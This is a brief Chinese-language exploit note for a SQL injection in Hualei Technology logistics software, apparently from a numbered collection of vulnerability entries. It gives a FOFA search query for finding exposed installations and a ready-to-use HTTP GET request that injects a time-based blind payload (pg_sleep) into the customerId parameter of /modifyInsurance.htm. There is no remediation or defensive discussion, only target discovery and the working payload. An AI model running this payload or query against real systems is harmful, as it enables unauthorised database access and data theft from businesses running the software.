H39-1华磊-科技物流-SQL

fofa语法：

body=“l_c_bar”||body=“l_c_center”

漏洞复现：

payload：

GET /modifyInsurance.htm?documentCode=-1&insuranceValue=-1&customerId=-1+and+1=(select+1+from+pg_sleep(6)) HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0